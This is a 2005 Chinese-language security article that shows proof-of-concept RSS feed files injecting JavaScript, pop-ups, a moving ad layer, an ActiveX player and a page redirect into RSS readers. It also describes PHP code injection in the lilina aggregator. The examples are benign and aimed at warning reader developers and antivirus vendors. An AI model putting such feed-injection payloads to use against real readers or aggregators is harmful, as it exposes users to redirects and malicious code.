又是枫红叶落金秋时,秋风渐起,带来的除了飞舞的落叶与阵阵寒意,还有CEO们期盼着以web 2.0这个定义模糊的概念带来利益的希望。在此,天缘姑且抛开以用户为主导的web2.0不谈,只就其中的一个重要组成部分——目前已经比较广泛使用的RSS技术与各位朋友作简单地探讨。
  RSS是以xml技术为基础,以聚合信息为目的进行信息表现的一种技术手段。其发展到目前,有多个版本及派生,比如ATOM等。随着对信息内容处理/包含的多样化,RSS的设计者将其功能与以加强,支持了js,ActiveX等多样丰富内容及处理表现的技术。而我们在享受着越来越便利的信息获取的同时,安全隐患的潘多拉盒子却慢慢地开启了。
下面,就让天缘带着大家一起,用一个个简单地小例子,将RSS的隐患一一暴露出来吧。破坏RSS在大家心目中美好的期望并不是我所愿意的,但“不破不立,破而立之”。能在RSS更广泛流行之前,把问题暴露出来,总比事后补救更好一些呢。

1.Web网页有繁人的弹出窗口,RSS能避免掉吗?
在浏览网页的时候,第一讨厌的就是弹出的广告窗口,那么在RSS中,我们是否就可以静静地阅读文章而不受打扰呢。愿望是美好的,现实却是残酷的,看看下面的一个小例子:
< xml version="1.0" encoding="gb2312" > 
<rss version="2.0">
<channel>
  <title>伊人有约 喜欢稀饭BBS</title>
  <link>[url]http://skylove.study-area.org/bbs/thread.php[/url] fid=18</link>
  <description>拒绝浮躁,让我们沉寂下来认真学习</description>
  <copyright>Copyright(C)喜欢稀饭BBS</copyright>
  <managingEditor />
  <language>zh-cn</language>
  <ttl>10</ttl>
  <generator>喜欢稀饭BBS</generator>
  <item>
<title>
<![CDATA[ 测试 ]]>
  </title>
<description>
<![CDATA[<font color='red' >一个测试,把鼠标移动上来吧.</font>]]>
</description>
  <link>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=752</link>
  <comments>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=752</comments>
  <guid>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=752</guid>
<author>
<![CDATA[ skylove ]]>
  </author>
  <source url="http://skylove.study-area.org/bbs/read.php tid=752">喜欢稀饭BBS</source>
  <pubDate>Mon, 10 Oct 2005 11:50:08 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS ]]>
  </category>
  </item>
</channel>
</rss>
  以上的文本,请保存为一个xml文件,之后在rss浏览器中打开就能看到效果。当鼠标移动到那行文字的时候,竟然新开了一个web页。当然,在此例中我所指向的是一个安全的地址。然而,如果是一个恶意的rss文件,打开的是一个含有恶意代码的web页,那样会如何呢?相信结果大家都能想到了。在rss中,允许利用<![CDATA[ 和]]> 包含按原格式输出的html文本,本身是为了丰富页面元素,允许方便地用html的元素来规定字体,颜色,图片显示等元素。由于是对html代码进行解释,因此,大多的RSS浏览器在设计的时候,对这部分元素的解释,直接采用调用ie浏览器内核的方式来完成。由此造成了css和js代码也可以被方便地解释执行——“剑本双刃,为仁为恶,存乎一心。”但由此带来的问题是——比直接ie浏览web页面更糟糕的是,很多RSS自带的web浏览功能中,是没有带恶意javascript脚本过滤功能的,因此相对于ie那比较糟糕的防御而言,RSS则更是心不设防。同样类似的例子是outlook等邮件客户端在浏览多媒体邮件时候带来的麻烦,不过现在outlook的漏洞已经被微软patch了。而众多RSS浏览器,由于不是微软出品或是windows捆绑,就只好期待各浏览器的软件作者尽快更新此类功能了。所幸的是截至截稿时候为止,天缘所使用的GreatNews RSS浏览器已经加上了弹出窗口屏蔽地功能。
2.象牛皮藓一样的漂浮广告在RSS时代是否终结了呢?

漂浮的广告总是在我们浏览网页的时候,阻挡着我们的视线,曾经在RSS初出的时候,我们认为找到了救星,那么是否在RSS里,漂浮的广告就会消失掉呢? 试一下以下的代码吧:
< xml version="1.0" encoding="gb2312" >
<rss version="2.0">
<channel>
  <title>伊人有约 喜欢稀饭BBS</title>
  <link>[url]http://skylove.study-area.org/bbs/thread.php[/url] fid=18</link>
  <description>拒绝浮躁,让我们沉寂下来认真学习</description>
  <copyright>Copyright(C)喜欢稀饭BBS</copyright>
  <managingEditor />
  <language>zh-cn</language>
  <ttl>10</ttl>
  <generator>喜欢稀饭BBS</generator>
  <item>
<title>
<![CDATA[ test ]]>
  </title>
<description>
<![CDATA[ 
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
   document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; οnresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
function MM_timelinePlay(tmLnName, myID) { //v1.2
  //Copyright 1997, 2000 Macromedia, Inc. All rights reserved.
  var i,j,tmLn,props,keyFrm,sprite,numKeyFr,firstKeyFr,propNum,theObj,firstTime=false;
  if (document.MM_Time == null) MM_initTimelines(); //if *very* 1st time
  tmLn = document.MM_Time[tmLnName];
  if (myID == null) { myID = ++tmLn.ID; firstTime=true;}//if new call, incr ID
  if (myID == tmLn.ID) { //if Im newest
   setTimeout('MM_timelinePlay("'+tmLnName+'",'+myID+')',tmLn.delay);
   fNew = ++tmLn.curFrame;
   for (i=0; i<tmLn.length; i++) {
    sprite = tmLn;
    if (sprite.charAt(0) == 's') {
     if (sprite.obj) {
      numKeyFr = sprite.keyFrames.length; firstKeyFr = sprite.keyFrames[0];
      if (fNew >= firstKeyFr && fNew <= sprite.keyFrames[numKeyFr-1]) {//in range
       keyFrm=1;
       for (j=0; j<sprite.values.length; j++) {
        props = sprite.values[j];
        if (numKeyFr != props.length) {
         if (props.prop2 == null) sprite.obj[props.prop] = props[fNew-firstKeyFr];
         else    sprite.obj[props.prop2][props.prop] = props[fNew-firstKeyFr];
        } else {
         while (keyFrm<numKeyFr && fNew>=sprite.keyFrames[keyFrm]) keyFrm++;
         if (firstTime || fNew==sprite.keyFrames[keyFrm-1]) {
          if (props.prop2 == null) sprite.obj[props.prop] = props[keyFrm-1];
          else    sprite.obj[props.prop2][props.prop] = props[keyFrm-1];
     } } } } }
    } else if (sprite.charAt(0)=='b' && fNew == sprite.frame) eval(sprite.value);
    if (fNew > tmLn.lastFrame) tmLn.ID = 0;
  } }
}
function MM_initTimelines() { //v4.0
   //MM_initTimelines() Copyright 1997 Macromedia, Inc. All rights reserved.
   var ns = navigator.appName == "Netscape";
   var ns4 = (ns && parseInt(navigator.appVersion) == 4);
   var ns5 = (ns && parseInt(navigator.appVersion) > 4);
   document.MM_Time = new Array(1);
   document.MM_Time[0] = new Array(1);
document.MM_Time["Timeline1"] = document.MM_Time[0];
   document.MM_Time[0].MM_Name = "Timeline1";
   document.MM_Time[0].fps = 15;
   document.MM_Time[0][0] = new String("sprite");
   document.MM_Time[0][0].slot = 1;
   if (ns4)
     document.MM_Time[0][0].obj = document["Layer1"];
   else if (ns5)
     document.MM_Time[0][0].obj = document.getElementById("Layer1");
   else
     document.MM_Time[0][0].obj = document.all document.all["Layer1"] : null;
   document.MM_Time[0][0].keyFrames = new Array(1, 15);
   document.MM_Time[0][0].values = new Array(2);
   if (ns5)
     document.MM_Time[0][0].values[0] = new Array("30px", "34px", "39px", "43px", "47px", "52px", "56px", "61px", "65px", "69px",
"74px", "78px", "82px", "87px", "91px");
   else
     document.MM_Time[0][0].values[0] = new Array(30,34,39,43,47,52,56,61,65,69,74,78,82,87,91);
   document.MM_Time[0][0].values[0].prop = "left";
   if (ns5)
     document.MM_Time[0][0].values[1] = new Array("20px", "35px", "50px", "65px", "81px", "96px", "111px", "126px", "141px", "156
px", "171px", "187px", "202px", "217px", "232px");
   else
     document.MM_Time[0][0].values[1] = new Array(20,35,50,65,81,96,111,126,141,156,171,187,202,217,232);
   document.MM_Time[0][0].values[1].prop = "top";
   if (!ns4) {
     document.MM_Time[0][0].values[0].prop2 = "style";
     document.MM_Time[0][0].values[1].prop2 = "style";
   }
   document.MM_Time[0].lastFrame = 15;
   for (i=0; i<document.MM_Time.length; i++) {
     document.MM_Time.ID = null;
     document.MM_Time.curFrame = 0;
     document.MM_Time.delay = 1000/document.MM_Time.fps;
   }
}
//-->
</script>
<body >
<div id="Layer1" style="position:absolute; width:200px; height:115px; z-index:1; left: 30px; top: 20px; background-color: #FFFF66; l
ayer-background-color: #FFFF66; border: 1px none #000000;">测试层</div>
</body>
]]>
</description>
 
  <link>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=752</link>
  <comments>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=752</comments>
  <guid>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=752</guid>
<author>
<![CDATA[ skylove ]]>
  </author>
  <source url="http://skylove.study-area.org/bbs/read.php tid=752">喜欢稀饭BBS</source>
  <pubDate>Mon, 10 Oct 2005 11:50:08 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS
  ]]>
  </category>
  </item>
</channel>
</rss>

以上的代码,保存为一个xml文件,在RSS浏览器中看看效果吧? 能看到一个层移动着。由此可以遇见,漂浮广告这个幽灵,不仅不会在RSS上消失,反而会因为无所过滤而更加放肆了呢。当然,我想也有一部分ICP们很乐意看到此情形吧——因为盈利点找到了!
#p#
3.ActiveX

微软的ie之所以在很多领域受到欢迎,与ActiveX技术带来的方便与实用性分不开。但ActiveX也时常会出现一些漏洞。那么在RSS之中,这个令人又爱又恨的功能,是否可以被使用呢?下面的例子里,天缘试着调用了一个媒体播放器:
< xml version="1.0" encoding="gb2312" > 
<rss version="2.0">
<channel>
  <title>伊人有约 喜欢稀饭BBS</title>
  <link>[url]http://skylove.study-area.org/bbs/thread.php[/url] fid=18</link>
  <description>拒绝浮躁,让我们沉寂下来认真学习</description>
  <copyright>Copyright(C)喜欢稀饭BBS</copyright>
  <managingEditor />
  <language>zh-cn</language>
  <ttl>10</ttl>
  <generator>喜欢稀饭BBS</generator>
<item>
<title>
<![CDATA[ [喜欢稀饭特别版]------->-------- ]]>
  </title>
<description>
<![CDATA[  电台地址:<a href='http://skylove.study-area.org/ssqx/mlxq.mp3' target=_blank>[url]http://skylove.study-area.org/ssqx/mlxq.mp[/url]
3</a><br/><br/><br/><br/><br/><br/><object class="OBJECT" id="MediaPlayer" width=336 height=256 classid="CLSID:22d6f312-b0f6-11d0-94
ab-0080c74c7e95" align="middle" height="256" width="314"><param value="-1" name="ShowStatusBar"><param value="http://skylove.study-a
rea.org/ssqx/mlxq.mp3" name="SRC"><embed type="application/x-oleobject" codebase="http://activex.microsoft.com/activex/controls/mpla
yer/en/nsmp2inf.cab#Version=5,1,52,701" flename="mp" src="http://skylove.study-area.org/ssqx/mlxq.mp3" width=314 height=256></embed>
<param name="AutoStart" value="1"></object><br/><br/><br/>制作剪辑:素手清弦<br/>感谢我的支持者:天缘(SKYLOVE)<br/><br/><br/><a href='
[url=http://bbs.oodiy.com/UploadFile/2005-4/200542612595936.gif']http://bbs.oodiy.com/UploadFile/2005-4/200542612595936.gif'[/url] TARGET=_blank><img src='http://bbs.oodiy.com/UploadFile/2005-4/200542612
595936.gif' border=0 alt='点击打开新窗口查看全图' οnlοad='javascript:if(this.width>screen.width*0.7)this.width=screen.width*0.7'></a
><br/><br/><br/>PS:因为设备(软件)出了点问题,导致声音效果不太好,或者有些突兀,刺耳,请原谅;<br/>   ^_^
  ]]>
  </description>
  <link>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=645</link>
  <comments>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=645</comments>
  <guid>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=645</guid>
<author>
<![CDATA[ 素手清弦 ]]>
  </author>
  <source url="http://skylove.study-area.org/bbs/read.php tid=645">喜欢稀饭BBS</source>
  <pubDate>Sat, 04 Jun 2005 23:41:55 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS ]]>
  </category>
  </item>
  </channel>
</rss>

测试的方法同样是保存为一个xml文件,然后在RSS浏览器中打开即可。在此例中,天缘引用了一个普通的mp3节目,而如果此功能被恶意利用,那么可能被包含的就是一个有漏洞的ActiveX控件,进而导致用户的防线被撕开,埋下安全的隐患。关于利用ActiveX漏洞进行***的文章是很多的,各位朋友以“ActiveX”、“漏洞”作为关键字,能搜索到不少的。
4. 页面跳转
有时候,我们常常在浏览某个网页的时候,被突然转到一个无关甚至有害的站点,这真的是很令人郁闷和危险的事情呢。而在使用RSS浏览器的时候,是否也会出现同样尴尬的事情呢?
< xml version="1.0" encoding="gb2312" >
<rss version="2.0">
<channel>
  <title>伊人有约 喜欢稀饭BBS</title>
  <link>[url]http://skylove.study-area.org/bbs/thread.php[/url] fid=18</link>
  <description>拒绝浮躁,让我们沉寂下来认真学习</description>
  <copyright>Copyright(C)喜欢稀饭BBS</copyright>
  <managingEditor />
  <language>zh-cn</language>
  <ttl>10</ttl>
  <generator>喜欢稀饭BBS</generator>
<item>
<title>
<![CDATA[ [ 测试页面跳转 ]]>
  </title>
<description>
<![CDATA[ <script Language=JavaScript>window.location="http://skylove.study-area.org/bbs/";</script> ]]>
  </description>
  <link>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=645</link>
  <comments>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=645</comments>
  <guid>[url]http://skylove.study-area.org/bbs/read.php[/url] tid=645</guid>
<author>
<![CDATA[ skylove ]]>
  </author>
  <source url="http://skylove.study-area.org/bbs/read.php tid=645">喜欢稀饭BBS</source>
  <pubDate>Sat, 04 Jun 2005 23:41:55 +0800</pubDate>
<category>
<![CDATA[ 伊人有约 喜欢稀饭BBS ]]>
  </category>
  </item>
  </channel>
</rss>

当天缘将此脚本在GreatNews中进行测试的时候,毫无预警地,页面被跳转到了 [url]http://skylove.study-area.org/bbs/[/url] 上面。由此可见,页面跳转的安全隐患问题依旧是存在着的。
5. 服务器端的跨站脚本
RSS不光是给最终的浏览用户带来危险,在RSS的最大卖点之一“聚合”方面,写得不够严谨的代码甚至会导致聚合服务器的安全隐患。
以著名的共享开源软件lilina为例,在其PHP代码中进行include某页面操作的时候,用require_once(‘页面url’) 的方式进行引用。而问题就在于,如果在被聚合的多个rss源中,有一个恶意的站点,利用< 与 >标记进行php代码编写,那么当在聚合过程中,该rss的php代码部分事实上是在聚合服务器上被执行了。简单地来说,比如a站点的rss文件中有< echo ‘skylove’; >这样一行文字,那么b服务器如果对a站的这则rss进行聚合引用,而且b服务器恰好是使用php程序进行聚合,那么上面的那句代码,事实上就会在b服务器上被执行。此漏洞我是在车东先生的blog上了解到的,url是[url]http://www.chedong.com/blog/archives/001047.html#more[/url] 。关于对此等可能包含有程序代码的rss文件的包含,php 4.3版本以后可以采用file_get_contents 函数来完成,详细可见[url]http://cn.php.net/manual/zh/ref.stream.php[/url] 有详尽的解释和用法示例。
行文至此,大抵也是到了结束的时候。文章不长,对于如何进行恶意操作的细节更是未提及,或许有些意犹未尽?但相信有心的朋友已经可以从此文中了解到RSS目前存在的一些漏洞以及如何利用它们了,事实上比在web页上包含恶意代码更简单,因为根本没有进行必要的安全检查。而且目前的RSS浏览器大多内嵌了网页浏览的功能,却没做在浏览网页的时候进行代码安全检查的功能。因此事实上用RSS浏览器跳转到网页后比用ie直接浏览更为危险,因为连必要的基本安全检查也没有了。至于当前的解决办法呢——暂时没有太好的,因为目前的RSS浏览器中暂时没看到有限制js代码执行与ActiveX控件执行的功能。就目前而言,如果需要保证RSS浏览的安全性,天缘个人推荐试着使用Maxthon 浏览器附带的RSS阅读功能,至少在被跳转到恶意站点的时候,还有Maxthon本身可以进行网页的安全过滤。
此文写作的目的,是希望此文可以对RSS的浏览器作者在添加功能的时候有所帮助,同时也能使国内的杀毒厂商意识到RSS浏览器安全方面存在的一些问题,除了在web网页需要实时监控恶意代码外,RSS浏览器的实时监控或许也是不该放过的。目前就国内而言,利用到以上RSS漏洞的恶意站点并不多,这也同RSS 浏览方式在国内的普及和认同有关。但RSS浏览这一块存在重大的安全隐患,是很值得重视的。目前RSS 3.0的标准已基本制定完成([url]http://www.rss3.org/main.html[/url]),新设计的3.0中又新增了许多元素特性,不知道是“技术为人所用,还是人为技术所惑”呢。值得一提的是一位资深hacker Aaron Swartz(其主页在[url]http://www.aaronsw.com/[/url])在自行设计的rss 3.0标准中([url]http://www.aaronsw.com/2002/rss30[/url]),有提出返朴归真的想法,用类似ini文件的格式来表达元素,完全鄙弃html代码解释只用纯文本包含内容。回想起从最早的纯文字邮件,到后来的多媒体邮件——我们真的回的去么?不管如何,希望RSS这一良好的信息表达方式能更好地为大众造福。
文章的最后,由于此文的特殊性,天缘不得不做个免责声明:由于此文中的代码稍加修改即可能造成实际测试时候被转向恶意站点,因此天缘仅保证在此文的首发站点,也就是唯一支付给我稿酬的yesky站点上此文中代码的正确性、安全性与完整性,用户从其他转载站点上依照代码进行测试所造成的后果均与本人无关。
作者介绍:天缘(skylove),本名 曾伟 ,26岁,目前就职于西华师范大学网络中心。